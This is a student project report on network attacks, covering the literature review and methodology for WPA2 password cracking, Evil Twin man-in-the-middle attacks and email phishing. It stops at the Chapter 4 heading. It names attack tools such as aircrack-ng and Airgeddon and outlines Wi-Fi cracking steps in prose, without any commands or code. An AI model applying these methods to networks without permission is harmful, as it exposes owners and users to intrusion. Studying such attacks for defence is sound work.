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ABSTRACT/SYNPOSIS
This project report presents experimental analysis on network security attacks and threats, includes seven different chapters and each chapter presents differently to achieves aim and objectives of the project. The report contains the introduction chapter that includes the overall structure of the project. Apart from that, the report focuses on research background on to cybersecurity, cybercrimes, network attacks and threats and network hacking fields, the author explains in deep into this fields together with the related work and analysis. Describes more in to related work and analysis by doing couples of researches from different research papers on to the target filed of WP/WPA2-PSK cracking password, man-in-the-middle attack (MiTM) in to Evil-Twin access point (AP) and social engineering phishing attack with email spoofing. Performs his test on ethical hacking environment by using Kali Linux machine tools. The reports have the design and implementation chapter, on this chapter focuses on project ethical environment designs for the three different hacks. Explains on implementation the WPA2 cracking password uses the aircarck-ng tool, MiTM Evil-Twin attack uses on Airgeddon tool and the phishing attacks uses on social engineering tools and dependent spoofing email domain form this helps the author to carry on his testing stages. The report includes the result from the author’s testing part and brings the discussion by using his results achieved together with the testing results achieved from other researcher that were already mentions on his related work and analysis. Finally, outlines the reflection chapter that described the chapter and area the author found easy and difficulty during his report.
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[bookmark: _Toc38872791]INTRODUCTION
The dynamic growth of the Internet brought a lot of things to the world of communication as anyone can access internet anywhere, that makes the vulnerabilities of the security increased [1]. Business organisation, private companies and government are the target area of the hackers where their main goals are to steal individual’s useful information like credit card details, break in to the web server, read email, interrupt the existing network system by brutally cracking passwords or injecting malicious software. Also, access the target database for the cause destruction to the system and even sometimes implant application software that will expose organisation secrets to the open Internet [2].
Security appeared to become a big issue when it comes to the protection of the information system, the software or hardware, and without proper security the system information can be stolen or damage a hardware component. So, the computer security [3] is works to control any security threats also for the protection against any harm happen in a networks access, code injection and data. 
The computer network security threats can be either phishing threats, this base through deceitful email or messages for the attempts to steal personal information or sensitive financial, or it can be a spyware threats when install a program without a user permission for the use to capture user information or monitors user online activities, or also can be a computer virus threats for the written program to change the way a computer system operates, without the consent or the user knowledge. And the other one is a hacker threats, but the author will explain further continuing to the related work on literature review. These threats make the ethical hacker focused on protection on an application security, cloud security and most of all on network security and Internet of thing (IoT) security [4] - [5] [6].

This project primarily focus in a computer network attacks when the author will start out on implementation by using the concept of ethical hacking, and will showed how ethical hackers helping their clients for their attitude and skills for the protection of the data of the any security holes appeared in a network system. The author will recommend the best results to be implemented in securing the network system, defending security for the data protection and discovers the vulnerabilities of the system.
[bookmark: _Toc38872792]AIMS
[bookmark: _Hlk38842550]The aim of the project is to analyse the network security attacks and threats by performs ethical hacking implementation on ethical environment.
[bookmark: _Toc38872793]OBJECTIVES
· Research on to different network attacks and threats
· To identify methods of security access control
· To access a network by ethical environment
· To identify network system vulnerabilities
· To outlines the protective measure of the network security
[bookmark: _Toc38872794]STRUCTURE OF THE PROJECT
The project split in to three different parts. Firstly, the basis of the project will focus on report aspects of the research. The aspect of literature research refers to the system network vulnerabilities and the prevention action taken. The second part details the practical approach, the author will be based to work on an experiment for the test of hypothesis. Eventually, the third part will outline the result found and analysis them, an information description of recommendation on how the network vulnerabilities can be prevented and on which ways will be the best to be done. The author below makes clear on each chapter contained by the project:

Chapter one provides summary of the project report. It describes the author’s aims and objectives for the completed project. Also, it contains the main introduction that explain what the author focuses to, intention to achieve and how will going to do for the reach of the main goals and purpose? This chapter also provides the basis structure of the project that outlines a brief description of each chapter and will help the reader to be interested to know how exactly the author finished project will be.

Chapter two concentrate on research and review of literature. The author will look on to different credible sources from either an online journals, report, articles or scholarly research website. Also, will do a deep research of the project topic for making sure all the literature aspect have been reviewed for the intent of the project achievement on objectives and aim like as the author planned. This will help the reader to get an idea on what the author tries to achieve by comparing the cites of credible source and this chapter will help the author to gain an understanding knowledge based on the chosen field.

Chapter three outlines the research methodology and project design. The design of methodology will help the author on how to carry out the research, this will give a useful guide instruction for the research work plan decision. The author will describe the method of research onion and explain why the chosen one and this will give the reader to know what the author research approaches, data collection methods, research philosophy and research strategies as well. Perfect details information of the research methodology is the perfect systematic approach to complete the project.

Chapter four provide the design and implementation of the project. It describes on how the author will use the specific ways of deliver the project on design and implementation as well. This chapter will explain the technique of the author to use to finish the overall project. In design will includes the requirements of materials, tools, components and all the useful resources   that will help the design to be implementing. Furthermore, the author will organize the problem formulation in case of research question to answer and it will give the overviews of the project on design if succeed or not into the next chapter of testing.

Chapter five reviews testing and evaluation. The author will outline any of the result found and evaluates them according of the aim and objectives from the project research experiment. This chapter will explain the outcome if achieved similar according of the aim and objective and if not, why doesn’t achieved similar? Also, the project evaluation will decide the relevance and level of achievement of project objectives and looks for the any possible weakness and strengths and any improvement required modification for the future. To summarise, this chapter will evaluate the result for the assess progress of performance and design of the author’s project. 

Chapter six focus on conclusion and recommendations of the project. This part concluded the synopsis of the completed project on the key finding, information and outcomes. As well the brief information summary on what the author has done on each chapter, in other word, this is the finishing part of the entire project. Moreover, it will include the project achievement and suggestion of the future recommendation on what to be done and focus more for provide a professional and meaningful project. This chapter will give the author opportunity to make a good impression to the reader.

Chapter seven outlines the reflection of the project. This chapter the author will reflect the process by answering the questions according the completion of the project, if either the project achieved its aim and objectives or not achieved. So, it will be mentioned if there any difficulty the author had during the entire process, which part did the author enjoyed doing? and what process did the author do to finish the project? In other word, it will give attention for the strength and project limitation. Also, this chapter will improve the author understanding of the context.

Chapter eight mentions the project academic reference. It cites the accreditable sources mention within the project. This chapter will outline each reference used throughout the project that can be either from online journal, articles or even a scholar research paper. It will help the author to acknowledge the other writer contribution by a giving a credit to them from whom borrowed ideas or words. Also, will help the reader to allocate the resources and find out the difference between the author and writer ideas and in case the reader needs to have more information about a specific topic from the project.
[bookmark: _Toc38872795]CHAPTER 2: RESEARCH AND REVIEW OF LITERATURE
[bookmark: _Toc38872796]INTRODUCTION
This chapter explains the research and review of literature with the related work from the field of study. Will includes the analysis of sorts of security measures that needed for the computer system protection. The focus includes on this chapter are threats and attacks that will be related according for the aim and objectives of this project. Also, will cover the different types of computer hacking the system faced nowadays. The author will also discuss about the related work from different credible academic sources for gaining the project knowledge understanding. 
Hacking the computer network has become a popular issue in a world of network technology and all happens because of a lack of a computer security. Nearly everything is connected to the internet, so the world needs a suitable way to secure the any device attached on it from the people who has the intention of harm and stealing usable information through the internet [7]. 
The computer hacker looking for the weakness point in a computer network and system and take the illegal advantages to gain unauthorized access for the target information. But this people can be prevented by searching for vulnerabilities within the network and help to come out with the secure and protection procedure of the system attacks and threats. The author below will describe more about the computer security in general, computer hacking and types of hacking including ethical hacks, computer attacks and threats and what the author will work on his design and implementation according of his project [8] - [9].
[bookmark: _Toc38872797]Research background
[bookmark: _Toc38872798]Computer network security
Computer network security is the most important for protection of computer information and system from any threats and attacks of either a system hardware or software and that can be theft, harm or any kind of unauthorized use. The company or organisation has two methods of access control to consider when it comes to the implementation of security technique and that will be physical security or logical security [10] - [11]. Each of these two methods has its own function as explain below:
[bookmark: _Toc38872799]Logical security 
Consists of the protection devices through the network connected to the user. This will include user profile to give individual authority and identification with the system access so will track user the things they done such as when and where and will help to keep a good record in case of any fraud happens within organisation. Also, to maintain a logical security the company should consider giving access their user by providing a password that will help prevent unwanted parties from getting in [12].
[bookmark: _Toc38872800]Physical security 
This kind of protection is very important on data, network, software and hardware such as an electronics equipment. Protection required either of fire, natural disaster or theft. The Internet of Thing (IoT) is become popular and theft used this chance to do their illegal things because of the many smart device already connected to the internet and easy for them to access if the device hasn’t got a strong security for protection but by implementing security on device location will play a huge rule to protect the device and keep it safe. However, CCTV and Alarms in a physical security helps the organisations monitoring and recorded for any intruder who try to get illegal access to the premises or who want to steal any of company information and equipment. But even though the hacker can play with the CCTV camera to grab data for the illegal things if the IP camera hasn’t got strong password, so for implement a strong security the both logical and physical security [8] should be considered.
[bookmark: _Toc38872801]Network attacks and threats (Cyber Attacks)
Computer network attacks and threats are extremely dangerous and can be easily damage the system components or might lead to the data loss of the system as well. The attacks and threats on a network come from the process of a Cyber Attacks, that is a launch an attack from cybercriminals using one or multiple computer against one or more networks or computer [13].  
So, threats can be a person or any object that represent to happen danger to an asset and the author when mentioned about an attacks meant an action that exploits vulnerabilities and perform an attack from one network to another or from one or more computer against another computer [14]. A lot of people depend on the internet on their daily basis, so as a result the hackers come out with the use of different of  technical ways to achieve cybercriminal, every day hackers come out with the new techniques of causing problem to the world of technology and put companies and organisations privacy at danger. 
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[bookmark: _Toc38870767]Figure 1 Motivations behind cyber-attacks from 2018 to 2019 [15]

The figure graphs above showed the motivation behind the cyber-attacks for two different years from 2018 to 2019. That gives the exactly view on how the cybercrime growth year by year by the percentages of 81.82% on 2018 and 83.96% on 2019, this makes the difference of 1.87% increased. On 2018 number of events was 1337 but on 2019 jumped to 1802 with the difference of 465 events increased. 
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[bookmark: _Toc38870768]Figure 2 Top 10 Attacks Distribution between 2018 and 2019 [15] [16]

The above graphs displayed the top 10 different attacks from 2018 to 2019, this proves how the attacks rise quickly and showed the malware attacks is the most dangerous one to compare to others.
To summarise, the author will explain below different of attacks and threats the world facing and useful measure on how to protect the network security.
[bookmark: _Toc38872802]Computer virus, malware, spyware, and ransomware
Virus [17] is in form of piece of code designed specially to destroy data and damage the computer system and even can slow computer performance. A computer virus can enter through the user system easily through either opening spam email, downloading free apps or games, installing unknown secure software without reading the software terms and licence agreements or even sometimes by sharing files, photos video or music. If a user system is weak on security some of the virus  insert straight to the pdf file or Microsoft office because these used a lot in every days life, so if a user open it the virus will go through the system and damage it.
Malware [18] is a malicious software designed not only to destroy or damage network equipment or physical system hardware but can steal, delete or encrypt data also can spy the user computer system without his permission or knowledge. As above the author explained about the virus, that is a type of malware attack as well together with worms, spyware, adware, trojan, ransomware and more. The hackers specially the black hat hacker created this for the purpose of making money also can be a war weapon between governments. 
Spyware one of the malicious software designed to spy the user system, will hide on the background and do spy and note down all information the user does while is online such credit card details, passwords and other without the user knowledge. Cyber criminals used spyware for their benefit from the information gathered during the spyware process and that makes different to the computer viruses for causing only damage to the system [19].
Ransomware, the malicious software attacks people to avoid are a lot and can cause huge damage to the user or organisation system data. Ransomware is the one of an attack that can locks out and block access to the data files until paid the money they asked. This will come up in a user system in to different types, such as scareware come as cleaning tools a fake software and claims to find problem in the user system and need to clean them, other type is lockers that damage or infect the operating system and makes the user impossible to have an access of any of the apps or files. This malicious software can easily cause panic to the user and can be in a trap to pay amount of money asked in order to get access of decryption key to their system but after the payment end without receiving the promised decryption key [20] - [21]. 
[bookmark: _Toc38872803]Denial of service attacks (DoS)
The DoS attacks is most common cyberattacks on computer networks. Denial of service attacks is the attacks where the target users can’t be able to access their email server or email [22]. The DoS attacks got two methods of attacks, first is the flooding attacks, so this type of attacks will bring the network down by flooding the useless traffic to the target user or machines and the other one is crashing attacks, that sending information that triggered system to crash. Business organisation, companies or even government can be the victim of this cyberattacks [23]. 
Flooding attacks 
Buffer overflow attacks [24] is the main DoS attacks from flooding method, that sending more traffic to a target network that makes the programmed system fail to handle it. This can be either ICMP attacks or SYN attacks.
Smurf attacks or ping of death commonly known as ICMP attacks that used to send to every machine on a target network a spoofed packet instead of one specific machine [25]. 
SYN attacks is when the hacker keeps sending a request to a target machine or system until all ports open by using fake IP address. This will make different for the handshake, because normally the client will return acknowledged packet to confirm the server packet was received [26].
The additional of DoS attacks is a Distributed Denial of Service attacks (DDoS) [27], the hacker use multiple machines from different location instead of one to flood the packet to the target victim while DoS use only one machine.
[bookmark: _Toc38872804][bookmark: _Hlk36738454]Password based attacks (Wi-Fi cracking)
Through the internet in order to stay safe the user should create password, a secret word for login or hide any privacy information and used as a prove of identity. Moreover, the most security foundation of network or computer network is a password. The weaker of the password can cause damage to the user’s system and can be easily hackers guess or perform any kind of attacks methods. The attacks can be a Dictionary attacks when a hacker uses a program to login cycling all the way through a common word, so that can be add a number at begging or end, or by replacing letter with a number. Can be a Brute force when the hacker uses program to generate any possible password combination, so the program will start with the easiest weak password. Additionally, a Keylogger attack, this can be similar as malware software because it installs a program on to a victim system to track down the user keystrokes and will make the hacker to gather information of a password and username. This attack the attacker can sometimes do Wi-Fi attacks for cracking WPA or WP2 password especially in a public network when the password is weak. And if succeed that can be easily to access and monitor different user information through the attacked network [28] [29] [30] [31]. 
[bookmark: _Toc38872805]Man-in-the-middle attacks (MiTM)
The online cybercriminal has different ways to access user information illegal and one of them is Man-in-the-middle attack (MiTM). This attack the hackers put themselves in the middle of conversation between the victim and an application, the hackers perform the attack by eavesdropping or impersonating an application or website. MiTM can steal a victim personal information including account details, credit card details and login information [32]- [33] [34].
Evil Twin is the rogue access point and is the kind of cyber-attacks when the man-in-the-middle start the network attack through wi-fi after create exactly access point (AP) from the original target by set up its MAC address (BSSID) and service set identifier (SSID) name. The hacker can launch an attacks by using either a mobile internet access such as smartphone can act as an access point, a hotspot router or a victim access point internet access [35]- [36].
[bookmark: _Toc38872806]Phishing attacks
The other cyber-crime in a network security for social engineering is phishing attacks, cheat user into providing personal information or financial that can be through a link of an email or message sent to them. Is known the word or term phishing first used in 1996 and since then it is growing and developed by hacker every day [37]. 
The user can detect the phishing attacks in two methods, machine detection this can be an application designed to detect spam email or message that identifies as phishing attacks and other is human detection this based on the human knowledge of identifies which and which email or message as a phishing so the training on human detection will be needed to educate user to understand about any type of phishing attacks happen to their network [37].
[bookmark: _Toc38872807]Protective measures of computer network security 
Security is the main part to consider when it comes to computer network or any device that attached through the internet, as the world now of Internet of Things (IoT) makes almost everything depend on Internet to function. This will increase the amount of system attacks every day and makes an easy to the hackers to exploit the system vulnerabilities. A tiny hole on network security can cost a lot of million to the organisations, the report from IBM explained “ the average cost per incident rose yet again in 2019 to $8.1 million for U.S companies, more than twice as much as the global average [38]”. Is explained below the basis measure protection for the network security. 
Firewall
In a network security, setup a firewall will help to protects or blocks network traffic between outside world network (Internet) to the inside network, is a barrier among a trusted and non-trusted network. The barrier of firewall will prevent the increase of cyber threats to the user machines or network [39].
Security software
For the user to have a best protection to their system, the security software will be very useful for keeping their machine system safe, these such as anti-virus, anti-malware or anti-spyware programs. Will help to detect and remove any malware, virus, spam attacks through the user network. The programs should set up to check regularly the updates for improving the machines security protection [40].
Use strong complex passwords
Passwords is the main thing to consider when it comes to security, weak password can cause different damage to the user. Strong passwords should contain different character of combination of small and capital letter, number or symbols. Also, by avoiding using personal data, by regularly changing, and making between eight to ten or twelve characters will help the client to stay safe online and be difficult for the hackers to guess [41].
 Using VPN
A Virtual Private Network (VPN) application is a private network that uses a public network, will give a company better security. Will benefit to secure an end-to-end encryption of the internet connection and all devices within organisation. When the company data encrypted will help to extend the private network in to public and enable the business employees as long their devices connected to the private network send and receive data across the public network. The VPN will play a main part of security protection between machines and the internet, won’t be easy for the attacker to sneak user network [42].
Use Authentication Technology
This will give extra security to the user. The authentication technology will provide access control to the system and checks if a user identity matches according from the database or not. This technology involves three methods, one is secret words, password or pins number, other one is physical object such as smart phones or smart card and the last one is any human body parts such fingerprint, facial scanning or voice verification. When the user or business companies provides this security technology and use two or more method for varication will make very difficult for the cyber attacker to have an access through the network or someone personal details [43].
[bookmark: _Toc38872808]Computer network hacking & hacker
The word hacking stand for an attempt of gaining access into someone computer network or system without their knowledge. Hacking can be done with different ways, like cracking codes and passwords for having access to the system. When the code or password gained this can be presented by the term of cracking. As explained above from network threats and attacks section, that are good example of hacking techniques. 
A hacker is the person who perform hacking, has some programming knowledge for looking vulnerabilities inside the network and gain the unauthorized access within. A hacker can do threats by hacking through Wireless or LAN network to the single or group of computer system. A hacker can crack password or send installation link of malicious software to the victim in a tricky ways and that can be my email or other way for steal important information or just only causing a problem, damage for the user, company or even government for the benefit of making money [44]. 
[bookmark: _Toc38872809]Types of hacker
There are different types of hacker, but the most commons are mention below. As the peoples know a hacker is a bad person but no all hackers are bad, some of them are good and use their knowledge and skills of finding a vulnerable areas, flaws and weak spot inside security system to protect other from bad hacker.
[bookmark: _Toc38872810]Ethical hacker
This type of hacker known as white hat hacker. Perform a legal hacking [45] technique with the permission from the owner by finding network system vulnerabilities by attempting an attack of the owner network or machines whether any malicious activities or unauthorized access within the system network. In case of anything happen, the ethical hacker will come out with the best security solution and recommendation on how the network can be protected. 
According of the project aims and objectives, the author will try to perform some of ethical hacking from couples of threats and attacks that are more common these days and that will explain more on the related work section.
[bookmark: _Toc38872811]Malicious hacker/cracker
Is commonly known as a black hat hacker, this type of hacker their intention always is to gain unauthorized access to the system. In another word, this hacker performs an illegal attack for stealing user or business information, steal money, can send virus or damage the target system. This group of hackers is so famous in today’s world of technology and so dangerous as well. Some of them are so genius in coding and got high skill and knowledge on a computer network security. Implementation of advanced network security is needed to overcome from this hacker [46].
[bookmark: _Toc38872812]Grey hat hacker
This is an expert of a computer security and played the role between white hat hacker and black hat hacker. This hacker will look a system vulnerability without a permission from the owner and when find any security hole will notify the owner and sometimes ask for small amount of money to get paid. If the owner contempt or feel doing nothing, the grey hat hacker can sometimes post online the vulnerabilities found for the world to see. Nevertheless, this hackers are not intentionally permanently for malicious but focus to get the thing whose discoveries by their own benefit and even if not doing the bad things compare to the black hat hacker but the way they access someone network without their permission is illegal [47].
[bookmark: _Toc38872813]Related work and analysis
This section explained the related academic paper from other researcher and gave overview of the topic from the study area. Will help to gain the knowledge of understanding the exact project is and for carry on the design and implementation part also when it come to the results part. Apart from that, this part analysis the result achieved from previous researcher and how they achieve their results.
[bookmark: _Toc38872814]Penetration test on password-based attack (Wi-Fi cracking)
[bookmark: _Hlk38811268]Paper of [48] explained the experimental analysis with the testing result of WPA/WPA2-PSK Cracking step by step by using aircrack-ng tool. used the dictionary attacks method with brute force against the captured files, captured WPA handshake by airodump-ng command and saved the handshake in to .cap file. Nevertheless, for the read the captured handshake file used aircrack-ng command with the password wordlists file. The figure below displayed the result form the experimental testing of the researcher
[image: ]
[bookmark: _Toc38870769]Figure 3 WPA key found result [48]
The author from the book [49] mentioned about one of his penetration test is a wireless attacks, explained on how wireless attacks can be configure on Kali machine by using several tools and stated the main tool in wireless security testing is the wireless adapter that connects to the wireless access point. Recommended the best reliable adapters can works better in kali Linux are Alfa Network cards, the top priority of Alfa adapters is AWUS036NH that support a wireless 802.11 b, n and g protocols. On his book explained step by step of performing test with the different suite of tools.
[bookmark: _Hlk31813301]An author [50] used simulated annealing (SA) and hidden Markov model (HMM) methods for the based cracking password of WPA2-PSK. On his statement tried to show the difference on these two methods used of cracking to compare with Markov model. This paper said the known methods used to crack password such as brute force with dictionary attack and rainbow table attacks are difficult to deal with the gradually encryption technology for the wireless network. As shown below on the diagram the HMM and SA model has an ability to crack more password to compare with Markov method. 
[image: ]
[bookmark: _Toc38870770]Figure 4 Comparisons between two methods [50]
[bookmark: _Hlk38736715]This research paper explained about using an attack with brute force and dictionary on hashed real-world password that was based on student login passwords, focused to analysis the easy and difficulty of cracking password according of their strength. This paper showed how weak password can be easily cracked to compare to the strong password, the long length characters of the password found hard to crack to compare the one has few characters [51].
On the researcher [51] results analysis for cracked password most of the passwords are names, band names, care manufacture names and this is most common password available on dictionary. And for uncracked password found out many contained mixed of different character, letters and number.
In this research paper of [52] analysed the different of penetration test techniques included Brute Force Attack, XSS (Cross-site Scripting) and SQL Injection. The author used these techniques to the target company with the name of PT. XYZ as an example of showing any security holes that effect on that company. Outlined on how the system works for penetration test with the help of flowchart below
[image: ]
[bookmark: _Toc38870771]Figure 5 Penetration test flowchart [52]
[bookmark: _Hlk31820367]This paper showed and explained analysis of the cracking password of WPA and WPA2 by using a dictionary and brute force attacks [53]. The researcher explained on his discussion finding on what kind of password found easy to crack and achieved by 68% of cracking the weak password with the different character used on it [53]. On figure 5 below is from [53] paper tried to show different types of passwords and how easy for the password be hacked and that was on the researcher results achieved during his experimental. The 8 digits number is a common one and make the system security of the password be easily to guess to compare with the mixing of number and alphabets. 
[image: ]
[bookmark: _Toc38870772]Figure 6 the different types of cracked passwords [53]

[bookmark: _Toc38872815]Man-in-the-middle attacks in computer network – Evil Twin
Author in [54] explained about the man in the middle attack can sometimes launch an attack on public Wi-Fi network, also mentioned used of IP spoofing for the detection of this attack in Wi-Fi network. The paper mentioned the attack setup in two ways, one is the requirements needed, so consists of the attacker machines that has kali Linux on it and the victim or target machine and for the best result of experiment the author on this paper used Realtek AR8812AU2.4 and 5 Ghz USB Wireless Adapter [54]. The second of the attack setup is explained the workflow of the attack, the author stated the framework required in the man of the middle attack as the targets of IP address of the network gateway and IP address, so this one will be the IP address of the target machine and one the Internet Protocol (IP) of the router. Airmon-ng tool used as well to monitor a traffics on the Wireless network. On this [54] paper result analysis the researcher showed how the comparison between the target MAC address and Spoofed MAC address, proved the man-in-the-middle somehow succeed because sometimes showed the spoofed MAC address got a power to compare the real target one as shown from the figure
[image: ]
[bookmark: _Toc38870773]Figure 7 time taken between target and spoofed MAC address [54]

From the paper [55] the researcher explained the evil twin is the dangerous attacks on public area, as everywhere around the city now a days got a free wi-fi connection. Mentioned about the Evil Twin is the fake access point that can lead to the man in the middle attack and can cause to the users a serious security problem for eavesdropping within the network. The figure below showed the overview of the evil twin design through the public network, through that evil twin access point the man-in-the-middle-attack can be able to do either spoofing or sniffing attacks to the target machine.
[image: ]
[bookmark: _Toc38870774]Figure 8 Evil Twin system overview [55]
The paper from [56] explained Evil Twin attacks on WPA2 encrypted  wi-fi network, mentioned on how the hacker who placed themselves in the middle attacks creates the fake access point with the same name of the target access point. The man in the middle uses the MAC address and set service identifier (SSID) for the target wi-fi network, the researcher described of the rogue access point, is to be ready for the attacks launch after setup the same MAC address (BSSID) and SSID of the original access point.
Rogue access point or Evil Twin for the man-in-the-middle-attacks through wi-fi network mentioned from different research papers ( [57] - [58] [59] )
Apart from that, when it comes to the test result, succeed by 85% of finding vulnerabilities from techniques used. The researcher advised to hide MAC address and by using port knocking to avoid hacker easily get to the user network, use of complex strong password with mix of different characters and to use private network like, virtual private network (VPN) [52]- [60] [61].
[bookmark: _Hlk38816073]The researcher on his paper [62] tested his results by considered three methods, firstly to capture WPA 4-way handshake after launched a de-authentication attack by using compared tools airodump-ng and aireplay-ng and overall, these tools were 100% successful on every test  for WPA handshake capture. Secondly cracking a WEP network by launching ARP replay attack with the aircrack-ng tool and also showed the result successful  and lastly launching a catch all honeypot this method configured by hostapd configuration file to launch the program at the background and the tool airbase-ng used for the testing purpose. 

[bookmark: _Toc38872816]Email Phishing attacks based on social engineering
From the research paper [63] done his phishing experiment by creating an email for the aim of monitoring and finding out how many employees will note if that email is spoofed and how many will not. However, attached the link for the victim to open. On his email the sender email is from a sub domain not the employees email from the organisation, also made a spelling error from the subject instead of written "Kalėdinė dovana" he wrote "Kaledine dovana" and the link provided in non-recognised domain webpage, so below is the result gain from his experiment.
[image: ]
[bookmark: _Toc38870775]Figure 9 results of email phishing attack from employees [63]

With 708 of employees opened and read the email, 405 of them downloaded the image attached, 410 visited the fake web page link, 214 filled the form, 2 replied the email and only 10 who reported for that email is spam to the IT department. 
The author from [64] explained about the defence on mobile computing for the phishing attack, this paper checked the vulnerabilities on three models and that based an application phishing attacks, web page and account registry phishing attacks. On his defence of phishing attacks, used a MobiFish scheme that included three of components on it such as AccountFish, WebFish and AppFish. Nevertheless, on this paper studied the important issues of mobile phishing detection and able to detect the fake account and application through phishing attacks. The MobiFish on this research can differ by other with an automated completely defence scheme, doesn’t require any change from browser, apps or website and any phishing attacks targeted can be handed and discovered  by the AccountFish scheme [64].
Different papers explained a phishing attack is a part of social engineering approaches, the researchers gave overviews on how phishing attacks works and who’s the target. Described the phisher clone either a target website, a social medias is the part of their target as well such Facebook, twitter for stealing valuable information by sending a fake email (spam) with the link on it to the individual target in a company, this most of the time the CEO or manager is the main victim. Mentioned a Net craft anti-phishing for detect any phishing enter through the system and warning the user before proceeding on it [65]- [66] [67] [68] [69]. 

Same on this research paper [70] explained about the detection of phishing attacks on web crawler-based phishing attack detector (WC-PAD). On the experiment collected the phishing websites by an accuracy detect of 98.9% and that including both zero-day phishing attacks and phishing attacks.
Reviewed the recent phishing attacks in Internet. It explained different types of phishing attacks that would be useful for the author of this project to use as well, some of them are spear phishing, clone phishing; this comes as an attachment or link email looks similar to the original source and as soon the victim open and enter their details, the hacker will have all the useful information needed, and the other one is whaling attacks that aim a top people in a company, such as senior executive or any a high profile one [71].
[bookmark: _Toc38872817]CONCLUSION
On this chapter, described the research background and literature review that showed the related paperwork analysis done by different researcher. Explained computer network security and hacking as that cover the main point within the project. Also, mentioned the protective measure of the computer security, the different threats and attacks included, man in the middle attack with evil twin, phishing attacks on social engineering and password-based attack on WPA/WPA2 cracking for the purpose of penetration test for analyses the threats and attacks on computer network security. The proper methods, process and research design are required for the project to go to the next step, that will be discussed on to the following chapter of research methodology.
[bookmark: _Toc38872818]CHAPTER 3: RESEARCH METHODOLOGY
[bookmark: _Toc38872819]INTRODUCTION
On this chapter discuss the research methodology, design of the project, data collection methods and philosophy and its relationship to the objectives and aim of the project. Also, describes techniques or procedures to identify and analyse the project topic.
This chapter aim to provide a work plan of the project research and explain research design for its relation of the aim and objectives. This will provide a good research knowledge of understanding to the author and give opportunities to the readers to understand on how data generated. 
[bookmark: _Toc38872820]RESEARCH OVERVIEW
This chapter plans to put forward the view of the whole proposed research process for the success of the objectives and aims specified in the previous chapter. This will carry out the plan on how the research be achievable from the beginning to the end, the design of the research gives an overall view of the method selected and the reason for that choice. The researcher also provides some questions to be delivered as a part of completion project. Through completion of research methodology, the author will use a research onion that developed by Saunders [72] and others (2007) for the different stages involved on the development of the research work.
The five-phase segregation: Research philosophy, Research approaches, Research strategies, Time horizons and Data Collection method, together helps to provide a better understanding of the research design [72] [73]. Figure 4 below provides a top down view of the five phases of the Research Onion stages.  
 [image: Saunders research onions]
[bookmark: _Toc38870776]Figure 10 Research Onion [73]

[bookmark: _Toc38872821]RESEARCH PHILOSOPHY
From above figure mentioned three aspects on research philosophy, positivism, realism and interpretivism. It can be decided which way to be use based on the project for analysed, gathering and used data. 
The author intends to use a positivism philosophy to perform the experiment on his project. Positivism depends on measurable observations that take to statistical analyses. By this positivism, can be able to discovery the explanations measuring the knowledge accepted to the world. So, it gives position to get the results in quantitative [72] [74].
[bookmark: _Toc38872822]RESEARCH APPROACHES
This research approached on deductive that can develop the hypothesis and formulate the result test, for this project can collect, analysis and test the vulnerabilities on the network. 
The deductive method has the aim to find the answer of the question that have from the beginning of the research project, and this approach commonly related with the quantitative research into collection of data [72] [75].
[bookmark: _Toc38872823]RESEARCH STRATEGIES
On this section explain about the project research strategies, six strategies mentioned on the figure above, strategies on research has a big part to carry out the entire project.   
The primarily strategies the author will use is experimental, focused on analysis the network security attacks and this experiment will undertake regarding the aim and objectives of the project [72] [76].
[bookmark: _Toc38872824]RESEARCH TIME HORIZON
The author on this section explain about a research time horizon, this is a time frame of the research for how long the project to be completed. There are two research time frame and that are short term or cross-sectional for collecting information on a specific short time and longitudinal for collecting data or information for a long period of time that can be either over months or years and all will depend of the origin of the experiment research are. 
This project based on cross-sectional process, will collect and analysis experimental data for a certain short period of time [72].
[bookmark: _Toc38872825]DATA COLLECTION METHODS
This section explains on how the researcher used to collect data for the completion of the project. There are many methods of collect data, the secondary data is the one used on this project, the information that already collected and analysed by a particular source, so this project will look in to different credible sources for gathering and analysis network security threats data that already available [72] [77] [78].
Table 1: Data collection methods; shows the data collection methods used on each chapter with the research approach as a part of obtaining information required on this project.



Table 1: Data Collection Methods
	Component
	Research Approach

	Chapter 1
Online and Journal articles and Books 
Other - E-Learning
	Project Introduction: based on computer network and security


	Chapter 2
Google scholar – Journals article and conference paper. IEEE Xplore Library – Journals articles and conference paper 
Other - E-Learning
	Quantitative research
Research literature and related work

	Chapter 3
Online and Journal articles and Books
Other - E-Learning
	Research Methodology


	Chapter 4
Based on Project design in general, Kali Linux
	Design and Implementation

	Chapter 5
Analysis of testing outcome, results and findings
	Testing and Evaluation

	Chapter 6
Final model
	Conclusion: Based on overall project


	Chapter 7
Based on overall project
	Reflections



[bookmark: _Toc38870899]Table 1 Data Collection Methods
[bookmark: _Toc38872826]RESEARCH DESIGN
For the project to be achievable, the research design will be needed, how the project will look like, what kind of methods the author will use to investigate and analysis his finding in order to succeed the aim of the project. So, this will target the process from the beginning to the end of the project.
Figure 8 provides the research design structure carried out for this project. Design process of step by step from the beginning to the end, showed clearly the research design development from step one to the final.
[image: ]
[bookmark: _Toc38870777]Figure 11 Research Design
From the figure 11 above, the approach design used is in systematic ways, the author used a tree diagram to present his design. The research report follows the design plan for the project to be proceed.  
To summarise, the research methods approach to be used are on blue boxes in order to continue with the project. The reasons why the author chooses this methods are because his main target in on experimental analysis, the collection of data used on his analysis is secondary data that already used from other researcher and this data helped to gain extra knowledge while presenting his implementation, testing and results. The project has a specific time to be finished that is why choose the cross-sectional on his time horizon method, however, approached the deductive method for the purpose of work on the exactly aim and test hypothesis. Additionally, the positivism used because of the observation from analysis on network security attack and threats, this took place on the research background and literature review part when cyberattacks crime statistical graphs presented.
[bookmark: _Toc38872827]RESEARCH DELIVERABLE
The outcomes from this research is tried to achieve the analysis of network attacks based on the previous related works and by using kali machine to test the network if there any vulnerabilities in the system. Also, in a test result, to report any achievable and non-achievable result from the project implementation part. 
So, this is the step by step from the research design section explained above for deliverable can be attained, gathered the information first, find the best methods to process and implement regarding of the main aim of the project. The output will explain more in the implementation and result section. 
[bookmark: _Toc38872828]CONCLUSION
This chapter explained about the research methodology, outlined on research review used of research onion for the five stages to develop the research work and on each of this stage explained which methods planned to choose and the reason of choosing. The stages included are research philosophy, research approach, research strategies, time horizon and how the data collected regarding on each chapter for the completion of the project. Apart from that, described the research design with the diagram on what methods will be used to carry on with the project. However, this chapter is the beginning to proceed next chapter of the research design and implementation on which will explain more below.

[bookmark: _Toc38872829]CHAPTER 4: DESIGN AND IMPLEMENTATION
[bookmark: _Toc38872830]INTRODUCTION
